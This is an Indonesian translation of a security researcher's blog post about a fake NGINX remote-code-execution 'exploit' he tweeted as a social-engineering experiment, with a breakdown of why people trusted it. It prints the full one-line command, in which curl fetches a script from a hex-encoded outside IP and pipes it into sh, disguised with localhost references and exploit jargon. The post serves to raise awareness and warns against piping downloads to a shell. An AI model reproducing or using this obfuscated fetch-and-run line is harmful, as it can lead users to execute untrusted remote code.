Catatan perev. : Penulis artikel asli, yang diterbitkan pada 1 Juni, memutuskan untuk melakukan percobaan di antara mereka yang tertarik dengan keamanan informasi. Untuk melakukan ini, ia menyiapkan exploit palsu untuk kerentanan yang dirahasiakan di server web dan mempostingnya di twitter-nya. Asumsinya - untuk secara langsung diekspos oleh spesialis yang melihat penipuan yang jelas dalam kode - tidak hanya menjadi kenyataan ... Mereka melebihi semua harapan, dan dalam arah yang berlawanan: tweet itu menerima dukungan besar dari banyak orang yang tidak memeriksa isinya.
TL; DR: Jangan pernah gunakan pipelining file di sh atau bash. Ini adalah cara yang bagus untuk kehilangan kendali atas komputer Anda. Saya ingin berbagi dengan Anda sebuah cerita pendek tentang eksploitasi komik PoC yang dibuat pada tanggal 31 Mei. Dia segera muncul dalam menanggapi berita dari
Alisa Esage Shevchenko , anggota
Zero Day Initiative (ZDI), bahwa informasi tentang kerentanan di NGINX yang mengarah ke RCE (eksekusi kode jarak jauh) akan segera terungkap. Karena NGINX adalah basis dari banyak situs web, berita itu seharusnya menghasilkan efek bom yang meledak. Tetapi karena keterlambatan dalam proses "pengungkapan yang bertanggung jawab" dari informasi, detail dari apa yang terjadi tidak diketahui - ini adalah prosedur ZDI standar.
Kicauan pengungkapan kerentanan NGINXSetelah selesai mengerjakan teknik kebingungan baru di curl, saya mengutip tweet asli dan “leaked the PoC working”, yang terdiri dari satu baris kode yang diduga menggunakan kerentanan yang ditemukan. Tentu saja, itu omong kosong. Saya pikir mereka akan segera membawa saya ke air bersih, dan yang terbaik saya akan mendapatkan beberapa retweet (oke).
Tweet eksploit palsuNamun, saya tidak dapat membayangkan apa yang terjadi selanjutnya. Popularitas tweet saya meroket. Anehnya, pada saat ini (15:00 waktu Moskow pada 1 Juni), sejauh ini hanya sedikit yang menyadari bahwa ini adalah palsu. Banyak yang me-retweet tanpa memeriksa sama sekali (belum lagi mengagumi grafik ASCII yang indah yang ditampilkannya).
Lihat saja betapa indahnya!Meskipun semua loop dan warna ini luar biasa, tentu saja: untuk melihatnya, orang mengeksekusi kode pada mesin mereka. Untungnya, browser bekerja dengan cara yang sama, dan dikombinasikan dengan fakta bahwa saya sama sekali tidak memerlukan masalah hukum, kode yang disembunyikan di situs saya hanya membuat panggilan gema tanpa mencoba menginstal atau menjalankan kode tambahan apa pun.
Sebuah penyimpangan kecil:
netspooky ,
dnz , saya dan orang-orang lain dari tim
Thugcrowd telah bermain dengan berbagai cara untuk mengaburkan perintah curl untuk beberapa waktu, karena itu keren ... dan kami adalah geek. netspooky dan dnz menemukan beberapa cara baru yang tampak sangat menjanjikan bagi saya. Saya bergabung dalam kegembiraan dan mencoba menambahkan konversi desimal IP ke serangkaian trik. Ternyata IP juga dapat dikonversi menjadi heksadesimal. Selain itu, ikal dan sebagian besar alat NIX lainnya menikmati makan heksadesimal IP! Dengan demikian, yang dibutuhkan hanyalah membuat baris perintah yang meyakinkan dan aman. Saya akhirnya memutuskan ini:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Rekayasa Sosial-Elektronik (LIHAT) - Lebih dari Sekedar Phishing
Keamanan dan kebiasaan adalah bagian utama dari percobaan ini. Saya pikir merekalah yang menyebabkan kesuksesannya. Baris perintah secara eksplisit menyiratkan keamanan, mengacu pada "127.0.0.1" (localhost terkenal). Dipercaya bahwa localhost aman dan data di dalamnya tidak pernah meninggalkan komputer Anda.
Kelayakhunaan adalah komponen kunci kedua SEE percobaan. Karena audiens target terutama terdiri dari orang-orang yang akrab dengan dasar-dasar keamanan komputer, penting untuk membuat kode sedemikian rupa sehingga bagian-bagiannya tampak akrab dan akrab (dan karenanya aman). Elemen-elemen pinjaman dari konsep eksploit lama dan menggabungkannya dengan cara yang tidak biasa telah sangat berhasil.
Di bawah ini adalah analisis rinci dari satu baris.
Segala sesuatu dalam daftar ini bersifat kosmetik , dan praktis tidak ada yang diperlukan untuk pekerjaan yang sebenarnya.Komponen apa yang benar-benar diperlukan? Ini adalah
-gsS
,
-O 0x0238f06a
,
|sh
dan server web itu sendiri. Server web tidak mengandung instruksi jahat, tetapi hanya mentransfer grafik ASCII menggunakan perintah
echo
dalam skrip yang terdapat dalam
index.html
. Ketika pengguna memasukkan baris dengan
|sh
di tengah,
index.html
dimuat dan dieksekusi. Untungnya, penjaga server web tidak memiliki niat jahat.
../../../%00
- menggambarkan jalan keluar di luar direktori;ngx_stream_module.so
- path ke modul NGINX acak;/bin/sh%00\<'protocol:TCP'
- kita seharusnya menjalankan /bin/sh
pada mesin target dan mengarahkan output ke saluran TCP;-O 0x0238f06a#PLToffset
- bahan rahasia yang ditambahkan oleh #PLToffset
agar terlihat seperti memori offset, entah bagaimana terkandung dalam PLT;|sh;
- Bagian penting lainnya. Kami perlu mengarahkan output ke sh / bash untuk mengeksekusi kode yang berasal dari server web yang menyerang yang terletak di 0x0238f06a
( 2.56.240.x
);nc /dev/tcp/localhost
- dummy di mana netcat merujuk ke /dev/tcp/localhost
sehingga semuanya terlihat aman kembali. Bahkan, itu tidak melakukan apa-apa dan termasuk dalam garis kecantikan.
Ini menyimpulkan penguraian naskah satu baris dan pembahasan aspek “socio-electronic engineering” (phishing rumit).
Konfigurasi dan penanggulangan server web
Karena sebagian besar pelanggan saya adalah keamanan informasi / peretas, saya memutuskan untuk membuat server web sedikit lebih tahan terhadap manifestasi "minat" di pihak mereka, hanya agar orang-orang memiliki sesuatu untuk dilakukan (dan itu menyenangkan untuk mengaturnya). Saya tidak akan mencantumkan semua jebakan di sini, karena percobaan masih berlangsung, tetapi berikut beberapa hal yang dilakukan server:
- Secara aktif memantau upaya distribusi di jejaring sosial tertentu dan mengganti berbagai thumbnail pratinjau untuk mendorong pengguna mengikuti tautan.
- Arahkan ulang Chrome / Mozilla / Safari / dll ke video promo Thugcrowd alih-alih menampilkan skrip shell.
- Ini memantau tanda-tanda jelas intrusi / peretasan, setelah itu mulai mengarahkan permintaan ke server NSA (ha!).
- Menginstal trojan, serta rootkit BIOS, di semua komputer yang penggunanya mengunjungi host dari browser biasa (lelucon!).
Sebagian kecil antimerDalam hal ini, satu-satunya tujuan saya adalah mempelajari beberapa fitur Apache - khususnya, aturan keren untuk mengarahkan permintaan - dan saya berpikir: mengapa tidak?
Eksploitasi NGINX (nyata!)
Ikuti @alisaesage di Twitter dan
ikuti perkembangan ZDI untuk menyelesaikan kerentanan yang sangat nyata dan memanfaatkan peluang di NGINX. Pekerjaan mereka selalu membuat saya terpesona dan saya berterima kasih kepada Alice untuk kesabaran dengan semua menyebutkan dan pemberitahuan yang disebabkan oleh tweet bodoh saya. Untungnya, itu memang membawa beberapa manfaat: itu membantu meningkatkan kesadaran akan kerentanan NGINX, serta masalah yang disebabkan oleh penyalahgunaan keriting.